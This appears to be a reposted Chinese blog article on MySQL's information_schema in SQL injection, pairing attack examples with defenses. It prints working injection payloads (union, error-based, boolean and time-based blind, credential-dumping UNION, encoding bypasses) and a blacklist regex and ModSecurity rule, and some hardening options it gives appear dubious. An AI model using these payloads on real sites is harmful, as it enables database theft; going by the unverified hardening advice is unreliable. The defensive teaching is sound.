MySQL的information_schema在SQL注入中的关键作用与防御策略

目录

一、information_schema的核心价值

二、攻击利用场景与示例

1. 联合查询注入(Union-Based)

2. 报错注入(Error-Based)

3. 布尔盲注(Boolean Blind)

4. 时间盲注(Time-Based)

三、攻击链中的关键步骤

四、不同MySQL版本的差异

五、防御策略与实战方案

1. 最小权限原则

2. 输入过滤与拦截

3. 数据库加固

4. WAF规则示例(ModSecurity)

六、进阶绕过技术及应对

1. 编码绕过

2. 替代元数据源

3. 基于时间的模糊探测

七、企业级防御架构

结语


一、information_schema的核心价值

information_schema是MySQL默认的系统数据库,存储了所有数据库的元数据信息。在SQL注入攻击中,它相当于攻击者的“地图”,用于探测目标数据库结构,具体包含以下关键表:

  • ​TABLES​​:记录所有表名及所属数据库(table_nametable_schema
  • ​COLUMNS​​:记录所有列名及所属表(column_nametable_name
  • ​SCHEMATA​​:列出所有数据库名(schema_name
  • ​USER_PRIVILEGES​​:用户权限信息
二、攻击利用场景与示例
1. 联合查询注入(Union-Based)

通过联合查询直接读取元数据:

' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database()-- 

结果示例:

+------------+--------------+
| table_name | table_schema |
+------------+--------------+
| users      | app_db       |
| orders     | app_db       |
+------------+--------------+
2. 报错注入(Error-Based)

利用报错函数提取信息:

' AND extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1)))-- 

报错输出:

XPATH syntax error: '~password'
3. 布尔盲注(Boolean Blind)

逐字符猜测表名:

' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 1)='u'-- 

若页面返回正常,说明第一个表名的首字母是u

4. 时间盲注(Time-Based)

通过延时判断数据存在性:

' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(5), 0)-- 

若响应延迟5秒,说明当前数据库存在超过5张表。

三、攻击链中的关键步骤
  1. ​枚举数据库​​:
    SELECT schema_name FROM information_schema.schemata
  2. ​定位目标表​​:
    SELECT table_name FROM information_schema.tables WHERE table_schema='app_db'
  3. ​获取字段结构​​:
    SELECT column_name FROM information_schema.columns WHERE table_name='users'
  4. ​构造最终Payload​​:
    UNION SELECT username, password FROM users-- 
四、不同MySQL版本的差异
版本范围information_schema访问特性注入影响
MySQL < 5.0information_schema需暴力猜解表名/列名
MySQL 5.0-5.6完整元数据访问,默认对所有用户可见攻击者可完整枚举数据库结构
MySQL ≥ 5.7引入performance_schema,部分权限受限SELECT权限访问元数据
五、防御策略与实战方案
1. 最小权限原则
  • ​应用账户权限配置​​:
    CREATE USER 'webapp'@'%' IDENTIFIED BY 'SecurePass123!';
    GRANT SELECT, INSERT ON app_db.users TO 'webapp'@'%';
    REVOKE SELECT ON information_schema.* FROM 'webapp'@'%';
2. 输入过滤与拦截
  • ​黑名单过滤关键词​​(正则示例):
    (information_schema\.(tables|columns)|schema_name\b)
  • ​参数化查询​​(Python示例):
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
3. 数据库加固
  • ​禁用元数据访问​​(需重启):
    [mysqld]
    skip_information_schema
  • ​日志监控可疑查询​​:
    SELECT * FROM mysql.general_log 
    WHERE argument LIKE '%information_schema%';
4. WAF规则示例(ModSecurity)
SecRule ARGS "@contains information_schema" \"id:1001,phase:2,deny,msg:'SQLi detected: information_schema access'"
六、进阶绕过技术及应对
1. 编码绕过
  • ​十六进制编码​​:
    UNION SELECT * FROM information_schema.`TABLES` -- 正常访问
    UNION SELECT * FROM infoorrmation_schema.`TABLES` -- 双写绕过
    ' UNION SELECT * FROM info%72mation_schema.tables -- URL编码
2. 替代元数据源

information_schema不可用时,攻击者可能尝试:

  • mysql系统库​​(需更高权限):
    SELECT db, table_name FROM mysql.db
  • ​暴力猜解​​:
    AND (SELECT COUNT(*) FROM users) > 0 -- 假设存在users表
3. 基于时间的模糊探测
IF(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)=CHAR(97), BENCHMARK(5000000,MD5('a')),0)
七、企业级防御架构

结语

information_schema是SQL注入攻击的“战略要地”,防御需建立多层防线:

  1. ​权限最小化​​:严格限制数据库账户权限
  2. ​输入消毒​​:结合正则过滤与参数化查询
  3. ​深度监控​​:实时审计敏感元数据访问行为
  4. ​纵深防御​​:WAF与数据库防火墙联动防护

通过代码层、网络层、数据库层的三重加固,可有效遏制攻击者利用系统元数据实施数据泄露,将SQL注入的危害降到最低。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/78925.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c语言 关键字--目录

下面是详细介绍的链接 1.c语言 关键字 2.typedef 关键字 3.volatile 关键字 4.register 关键字 5.const关键字用法 6.extern关键字 7.sizeof关键字

python爬虫爬取网站图片出现403解决方法【仅供学习使用】

基于CSDN第一篇文章&#xff0c;Python爬虫之入门保姆级教程&#xff0c;学不会我去你家刷厕所。 这篇文章是2021年作者发表的&#xff0c;由于此教程&#xff0c;网站添加了反爬机制&#xff0c;有作者通过添加cookie信息来达到原来的效果&#xff0c;Python爬虫添加Cookies以…

docker创建一个centOS容器安装软件(以宝塔为例)的详细步骤

备忘&#xff1a;后续偶尔忘记了docker虚拟机与宿主机的端口映射关系&#xff0c;来这里查看即可&#xff1a; docker run -d \ --name baota \ --privilegedtrue \ -p 8888:8888 \ -p 8880:80 \ -p 8443:443 \ -p 8820:20 \ -p 8821:21 \ -v /home/www:/www/wwwroot \ centos…

linux 使用nginx部署ssl证书,将http升级为https

前言 本文基于&#xff1a;操作系统 CentOS Stream 8 使用工具&#xff1a;Xshell 8、Xftp 8 服务器基础环境&#xff1a; nginx - 请查看 linux 使用nginx部署vue、react项目 所需服务器基础环境&#xff0c;请根据提示进行下载、安装。 1.下载证书 以腾讯云为例&#x…

日常开发中,iOS 性能调优我们怎么做?

日常开发中&#xff0c;iOS 性能调优我们怎么做&#xff1f;聊聊我用过的几款工具 最近在给一个 iOS 视频类 App 做性能优化&#xff0c;过程中踩了不少坑&#xff0c;也用了一些不错的工具&#xff0c;今天就以一个开发者视角随便聊聊我在调试过程中的一些经验。 一、性能问…

Redis ⑨-Jedis | Spring Redis

Jedis 通过 Jedis 可以连接 Redis 服务器。 通过 Maven 引入 Jedis 依赖。 <!-- https://mvnrepository.com/artifact/redis.clients/jedis --> <dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><versi…

【人工智能】解锁AI潜能:LM Studio多模型并行运行DeepSeek与开源大模型的实践指南

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 随着大语言模型(LLM)的快速发展,LM Studio作为一款本地化部署工具,以其简单易用的图形化界面和强大的模型管理能力受到广泛关注。本文深…

Node.js面试题

一、什么是Node.js&#xff1f; Node.js 是一个开源的跨平台 JavaScript 运行时环境&#xff0c;允许开发者在服务器端运行 JavaScript 代码。它基于 Chrome 的 V8 JavaScript 引擎构建&#xff0c;能够高效地处理 I/O 操作&#xff0c;适合构建高性能的网络应用。 异步非阻塞&…

Playwright MCP 入门实战:自动化测试与 Copilot 集成指南

什么是 MCP&#xff1f; MCP&#xff08;Model Context Protocol&#xff09; 是一种为大语言模型&#xff08;LLM&#xff09;设计的协议&#xff0c;MCP充当 LLM 与实际应用之间的桥梁或“翻译器”&#xff0c;将自然语言转化为结构化指令&#xff0c;使得模型可以更精确、高…

达梦DM数据库安装步骤

文章目录 1、下载并解压缩2、安装DM数据库2.1 运行安装程序2.2 选择语言与时区2.3 安装向导2.4 许可证协议2.5 Key文件2.6 选择组件2.7 安装位置2.8 安装前小结2.9 安装过程2.10 已完成2.11 初始化 3、配置实例3.1选择操作方式3.2创建数据库模版3.3指定数据库目录3.4数据库标识…

电商双11美妆数据分析(2)

接下来用seaborn包给出每个店铺各个大类以及各个小类的销量销售额 关于性别 接下来考虑性别因素&#xff0c;了解各类产品在男性消费者中的销量占比 男士的销量基本来自于清洁类&#xff0c;其次是补水类。而这两类正是总销量中占比最高的两类。 非男士专用中&#xff0c;补水…

54.实现Trie(前缀树)

Trie(发音类似 "try")或者说 前缀树 是一种树形数据结构&#xff0c;用于高效地存储和检索字符串数据集中的键。这一数据结构有相当多的应用情景&#xff0c;例如自动补全和拼写检查。 请你实现 Trie 类&#xff1a; Trie() 初始化前缀树对象。void insert(String wo…

Excel文件批量处理指南 | 用VBA一键操作文件夹所有工作簿

系列文章 Excel跨文件夹批处理黑科技 | 用VBA递归遍历所有子目录 目录 系列文章&#x1f4c1; Excel文件批量处理指南 | 用VBA一键操作文件夹所有工作簿一、场景痛点与解决方案二、核心代码架构解析1. 文件遍历引擎2. 安全打开机制3. 错误处理框架 三、7大实战应用场景场景1&a…

南京大学OpenHarmony技术俱乐部正式揭牌 仓颉编程语言引领生态创新

2025年4月24日&#xff0c;由OpenAtom OpenHarmony&#xff08;以下简称“OpenHarmony”&#xff09;项目群技术指导委员会与南京大学软件学院共同举办的“南京大学OpenHarmony技术俱乐部成立大会暨基础软件与生态应用论坛”在南京大学仙林校区召开。 大会聚焦国产自主编程语言…

C++回调函数学习

C回调函数学习 遇到问题&#xff0c;要学习C回调函数 遇到问题&#xff0c;要学习C回调函数 来吧&#xff0c;直接看代码吧 共有4种方法&#xff0c;每种方法都有标识&#xff0c;对用的屏蔽和打开就可以使用 原文在这里&#xff1a; #include<iostream> #include<f…

PDF解析新范式:Free2AI工具实测

在数字化浪潮中,PDF文件已成为企业、政府及个人存储与传递信息的核心载体。然而,PDF内容的提取与处理始终是行业痛点——无论是合同解析、研究报告整理,还是大规模知识库构建,传统方法常面临效率低、成本高、准确率不足等问题。Free2AI基于智能体技术与大模型算力,为PDF内…

【JS逆向基础】WEB自动化

前言&#xff1a;随着互联网的发展&#xff0c;前端技术也在不断变化&#xff0c;数据的加载方式也不再是单纯的服务端渲染了。现在你可以看到很多网站的数据可能都是通过接口的形式传输的&#xff0c;或者即使不是接口那也是一些 JSON 的数据&#xff0c;然后经过 JavaScript …

大型旋转机械信号趋势分析算法模块

大型旋转机械信号趋势分析算法模块&#xff0c;作为信号处理算法工具箱的主要功能模块&#xff0c;可应用于各类关键机械部件&#xff08;轴承、齿轮、转子等&#xff09;的信号分析、故障探测、趋势劣化评估等&#xff0c;采用全Python语言&#xff0c;以B/S模式&#xff0c;通…

01背包专题4:小A点菜

题目背景 uim 神犇拿到了 uoi 的 ra&#xff08;镭牌&#xff09;后&#xff0c;立刻拉着基友小 A 到了一家……餐馆&#xff0c;很低端的那种。 uim 指着墙上的价目表&#xff08;太低级了没有菜单&#xff09;&#xff0c;说&#xff1a;“随便点”。 题目描述 不过 uim …

探索SQLMesh中的Jinja宏:提升SQL查询的灵活性与复用性

在数据工程和数据分析领域&#xff0c;SQL是不可或缺的工具。随着项目复杂度的增加&#xff0c;如何高效地管理和复用SQL代码成为了一个重要课题。SQLMesh作为一款强大的工具&#xff0c;不仅支持标准的SQL语法&#xff0c;还引入了Jinja模板引擎的宏功能&#xff0c;极大地提升…